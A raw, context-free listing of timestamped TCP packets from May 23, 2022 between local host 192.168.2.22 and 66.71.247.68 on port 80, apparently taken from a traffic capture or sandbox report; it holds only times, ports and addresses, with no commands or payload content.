May 23, 2022 09:50:10.723404884 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.723445892 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.723483086 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.723500967 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.723531961 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.723570108 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.723608971 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.723627090 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.723660946 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.727226973 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.848329067 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.848424911 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.848469973 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.848547935 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.848586082 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.848642111 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.848665953 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.848701000 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.848730087 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.848747969 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.848783016 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.848807096 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.848848104 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.848887920 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.848908901 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.848927975 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.848964930 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.848982096 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.849021912 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.849040031 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.849078894 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.849097013 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.849128962 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.849153996 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.849194050 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.849214077 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.849251032 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.849268913 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.849312067 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.849337101 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.849369049 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.849386930 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.849426031 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.849446058 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.849481106 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.849500895 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.849574089 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.849833965 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.974217892 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.974277020 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.974332094 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.974356890 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.974400043 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.974442959 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.974462032 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.974495888 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.974520922 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.974561930 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.974581003 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.974618912 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.974641085 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.974692106 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.974704027 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.974740028 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.974761009 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.974800110 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.974852085 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.974888086 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.974910021 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.974953890 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.974961996 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.974987984 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.975028038 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.975047112 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.975084066 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.975105047 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.975145102 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.975162983 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.975202084 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.975218058 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.975258112 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.975275993 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.975308895 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.975333929 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.975375891 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.975388050 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.975413084 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.975452900 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.975470066 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.975508928 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.975528002 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.975567102 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.975584984 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.975617886 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.975642920 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.975662947 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.975696087 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.975717068 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.975754976 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.975771904 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.975807905 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.975828886 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.975868940 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.975887060 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.975927114 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.975943089 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.975981951 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.976000071 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.976022005 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.976031065 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.976072073 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.976110935 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.976128101 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.976164103 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.976186037 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.976247072 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.976893902 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.976958990 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.977462053 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.977524042 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.977678061 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.977732897 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.977823973 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.977876902 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.978609085 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.978672981 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.979074955 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.979113102 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.979135990 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.979165077 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.979177952 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:10.979228020 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:10.980787992 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.101042986 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.101102114 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.101152897 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.101171017 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.101191998 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.101234913 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.101257086 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.101298094 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.101320982 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.101360083 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.101380110 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.101422071 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.101439953 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.101475954 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.101499081 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.101540089 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.101558924 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.101599932 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.101617098 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.101655960 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.101674080 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.101710081 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.101732016 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.101773977 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.101792097 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.101831913 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.101850033 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.101891041 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.101939917 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.101955891 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.102009058 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.102024078 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.102062941 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.102102995 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.102114916 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.102119923 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.102163076 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.102202892 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.102222919 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.102261066 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.102282047 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.102327108 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.102348089 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.102395058 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.102407932 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.102444887 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.102468014 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.102509022 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.102528095 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.102560997 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.102586031 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.102626085 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.102643967 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.102680922 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.102699995 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.102741957 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.102763891 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.102809906 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.102861881 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.102899075 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.102920055 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.102966070 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.102977037 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.103013039 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.103034019 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.103080988 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.103094101 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.103130102 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.103152990 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.103202105 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.103213072 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.103260040 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.103271008 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.103306055 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.103327990 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.103374004 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.103401899 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.103449106 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.103471041 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.103532076 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.103543997 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.103580952 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.103601933 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.103642941 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.103661060 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.103698015 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.103718042 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.103759050 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.103776932 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.103816032 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.103832006 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.103883028 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.105082035 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.105354071 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.105400085 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.105420113 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.105488062 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.107517004 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.228524923 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.228655100 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.228991985 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229012012 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229029894 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229039907 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.229049921 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.229063034 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.229072094 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229090929 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229104996 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.229115963 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229125977 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.229141951 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229151011 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.229172945 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.229528904 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229547977 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229564905 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229574919 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.229588032 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.229604959 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229612112 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.229629040 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229639053 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.229655027 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.229662895 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229693890 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.229742050 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229773998 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229779959 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.229805946 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.229819059 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229846954 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229856014 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.229882956 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.229929924 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229948044 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229969025 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.229975939 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.229979992 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.229998112 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230005026 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230036020 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230128050 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230146885 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230174065 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230179071 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230190992 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230207920 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230221987 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230237007 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230242968 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230259895 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230269909 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230284929 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230293989 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230309010 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230318069 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230334044 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230344057 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230360985 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230369091 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230396986 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230458021 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230499983 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230516911 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230535030 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230550051 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230561972 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230573893 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230596066 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230603933 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230648041 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230665922 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230679989 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230690956 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230700016 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230717897 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230725050 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230727911 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230750084 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230840921 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230856895 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230878115 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230885029 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230892897 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230909109 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230918884 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230941057 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230962992 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230973959 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.230989933 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.230995893 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.231023073 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.231985092 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.232006073 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.232023954 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.232038975 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353179932 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353199005 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353216887 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353233099 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353254080 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353261948 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353271008 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353283882 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353298903 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353316069 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353338957 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353344917 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353349924 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353365898 CEST	49173	80	192.168.2.22	66.71.247.68
May 23, 2022 09:50:11.353374958 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353393078 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353415012 CEST	80	49173	66.71.247.68	192.168.2.22
May 23, 2022 09:50:11.353420973 CEST	49173	80	192.168.2.22	66.71.247.68
